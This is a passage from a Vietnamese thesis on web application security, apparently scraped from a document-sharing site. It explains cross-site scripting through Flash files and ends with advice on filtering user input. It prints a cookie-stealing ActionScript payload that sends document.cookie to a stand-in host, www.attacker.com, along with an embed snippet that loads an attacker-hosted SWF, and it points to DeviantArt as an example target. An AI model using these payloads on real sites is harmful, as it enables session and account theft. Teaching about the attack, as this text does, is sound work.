TẤN CÔNG XSS BẰNG FLASH

Một phần của tài liệu nghiên cứu một số vấn đề về bảo mật ứng dụng web trên internet (nguyễn duy thắng vs nguyễn minh thu) - 1 (Trang 54 - 57)

Ngoài những cách đưa mộtđoạn mã nguy hiểm thì hacker còn có thể lợi dụng những tập tin flash đểđánh cắp thông tin.

Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đãđược xây dụng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tương tự như

JavaScript, C hay PERL. Ví dụhàm getURL() dùng để gọi một trang web khác, tham số thường là một URL chẳng hạn như “http://www.yahoo.com”.

Ví dụ5.IV-1:

getURL(“http://www.yahoo.com”)

Tuy nhiên có thể thay thế URL bằng JavaScript:

getURL(“javascript:alert(document.cookie)”)

Ví dụ 5.IV-1 trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vàoứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách tấn công này là:

Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flashđượcđọc:

getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do cument.cookie)”)

Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

Hình 5.IV-2: Cách viết Action Scipt trong Flash

Ví dụ5.IV-2:

DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập tin flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắp cookie của các thành viên và cũng có thể là tài khoản của người quản trị web, bằng cáchđăng kí làm thành viên củaứng dụng Web này, gửi tập tin flash lên máy chủvà đợi các nạn nhân xem tập tin flash đó. Dưới đây là địa chỉ liên kết dến một tập tin flash như đã trình bày trong ví dụ5.IV-2:

http://www.deviantart.com/deviation/1386080

Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn, các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công này, bằng cách nhậpđoạn mã gọi tập tin flash vào.

<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/s wflash.cab#version=6,0,0,0"

HEIGHT="48" id="1" ALIGN="">

<PARAM NAME=movie VALUE="http://www.ke_tan_cong.com/vidu.swf"> <PARAM NAME=quality VALUE=high>

<PARAM NAME=bgcolor VALUE=#FF9900>

<EMBED src=" http://www.ke_tan_cong.com/vidu.swf" quality=high bgcolor=#FF9900 WIDTH="60" HEIGHT="48" NAME="1" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"> </EMBED> </OBJECT> V. CÁCH PHÒNG CHNG

• Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web cần phải thực hiện vài bước cơ bản sau:

o Tạo ra danh sách những thẻ HTML được phép sử dụng.

o Xóa bỏ thẻ <script>

o Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related nào.

o Lọc dấu nháy đơn hay kép

o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho

ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này).

(adsbygoogle = window.adsbygoogle || []).push({});

Một phần của tài liệu nghiên cứu một số vấn đề về bảo mật ứng dụng web trên internet (nguyễn duy thắng vs nguyễn minh thu) - 1 (Trang 54 - 57)